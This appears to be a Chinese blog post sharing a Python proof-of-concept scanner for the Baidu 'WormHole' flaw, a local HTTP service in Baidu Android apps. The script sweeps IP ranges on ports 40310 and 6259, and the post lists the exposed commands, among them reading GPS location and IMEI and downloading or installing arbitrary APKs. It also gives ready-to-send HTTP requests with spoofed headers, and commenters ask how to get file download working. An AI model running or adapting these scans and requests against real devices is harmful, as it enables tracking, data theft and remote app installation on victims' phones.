百度WormHole漏洞检测POC

工具程序 blackfeather


WormHole的检测代码,随手python写的。


#exploit write by fenlog,baidu wormhole POC.
#QQ:345382462

import urllib2, urllib
import sys



headers = {
  "Accept": "*/*",
  "Host": "127.0.0.1",
  "remote-addr": "127.0.0.1",
  "Referer": "http://www.baidu.com/"
}

def ip2num(ip):
    ip = [int(x) for x in ip.split('.')]
    return ip[0]<<24 | ip[1]<<16 | ip[2]<<8 | ip[3]

def num2ip(num):
    return '%s.%s.%s.%s' % ((num & 0xff000000) >> 24, (num & 0x00ff0000) >> 16, (num & 0x0000ff00) >> 8, num & 0x000000ff)

def URLRequest(url):
	try:
		request = urllib2.Request(url = url,headers = headers)
		response = urllib2.urlopen(request)
		return response.read()
	except:
		return ""


if len(sys.argv) == 3:
	ipstart = ip2num(sys.argv[1])
	ipend = ip2num(sys.argv[2])
elif (len(sys.argv) == 2):
	ipstart = ip2num(sys.argv[1])
	ipend = ipstart
else:
	print "Baidu WarmHole POC by www.fenlog.com\nUsage1: %s TargetIP \nUsage2: %s StartIP EndIP" % (sys.argv[0], sys.argv[0])
	exit(0)



if (ipstart > ipend):
	print "Target IP Err"
	exit(0)

urllib2.socket.setdefaulttimeout(3)
	
for targetip in range(ipstart, ipend + 1):
	strip = num2ip(targetip)
	print "Scan %s..." % (strip)
	url1 = "http://%s:%d/getserviceinfo?mcmdf=inapp_baidu_bdgjs&callback=jsonp" % (strip, 40310)
	url2 = "http://%s:%d/getserviceinfo?mcmdf=inapp_baidu_bdgjs&callback=jsonp" % (strip, 6259)
	ret = URLRequest(url1)
	if (len(ret) == 0):
		ret = URLRequest(url2)

	if (len(ret) > 0):
		print "Found %s:%s" % (strip, ret)

print "Scan %d IPs Finish!" % (ipend - ipstart + 1)





附上一些其他的代码,仅供参考。

geolocation 获取用户手机的GPS地理位置(城市,经度,纬度)

getsearchboxinfo 获取手机百度的版本信息

getapn 获取当前的网络状况(WIFI/3G/4G运营商)

getserviceinfo 获取提供 nano http 的应用信息

getpackageinfo 获取手机应用的版本信息

sendintent 发送任意intent 可以用来打开网页或者与其他app交互

getcuid 获取imei

getlocstring 获取本地字符串信息

scandownloadfile 扫描下载文件(UCDownloads/QQDownloads/360Download...)

addcontactinfo 给手机增加联系人

getapplist获取全部安装app信息

downloadfile 下载任意文件到指定路径如果文件是apk则进行安装

uploadfile 上传任意文件到指定路径 如果文件是apk则进行安装



//获取位置信息

GET /geolocation?timeout=45000&callback=getGeoByNative HTTP/1.1

Host: 127.0.0.1

remote-addr: 127.0.0.1

Referer: http://www.baidu.com/



//获取机器ID

GET /getcuid?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp507 HTTP/1.1

Host: 127.0.0.1

remote-addr: 127.0.0.1

Referer: http://www.baidu.com/


//获取开放服务的应用信息

GET /getserviceinfo?mcmdf=inapp_baidu_bdgjs&callback=jsonp1 HTTP/1.1

Host: 127.0.0.1

remote-addr: 127.0.0.1

Referer: http://www.baidu.com/



//获取安装包版本

GET /getpackageinfo?packagename=com.tencent.mm&mcmdf=inapp_baidu_bdgjs&callback=jsonp1 HTTP/1.1

Host: 127.0.0.1

remote-addr: 127.0.0.1

Referer: http://www.baidu.com/



//发送任意intent 可以用来打开网页或者与其他app交互

GET /sendintent?mcmdf=inapp_baidu_bdgjs&intent=http://www.fenlog.com/&callback=jsonp1 HTTP/1.1

Host: 127.0.0.1

remote-addr: 127.0.0.1

Referer: http://www.baidu.com/



//获取全部安装app信息

GET /getapplist?mcmdf=inapp_baidu_bdgjs&callback=jsonp1 HTTP/1.1

Host: 127.0.0.1

remote-addr: 127.0.0.1

Referer: http://www.baidu.com/






评论列表:

DODO
你好,我想问一下callback这个参数是怎么知道的呢?
hehe
随便填的,用于js处理,写什么都无所谓。
dodo
你好,我在测试downloadfile功能的时候一直都有问题,downloadurl,savepath,filesize,等参数都有写但是没有任何反应,没有下载。这是怎么回事?
dodo
已经在一个局域网里了,而且单独访问那个url是可以下载的。
dodo2015/11/22 14:15:20 回复
dodo2015/11/22 14:13:58 回复
hehe2015/11/19 12:05:29 回复
DODO2015/11/15 14:36:07 回复
oopww
这个是连了网的手机吧????
oopww
局域网弄弄还可以,呵呵。。。
oopww2015/11/4 10:41:30 回复
oopww2015/11/4 10:40:26 回复
tester
addcontactinfo scandownloadfile 的参数是什么?
tester2015/11/4 10:02:01 回复

发表评论: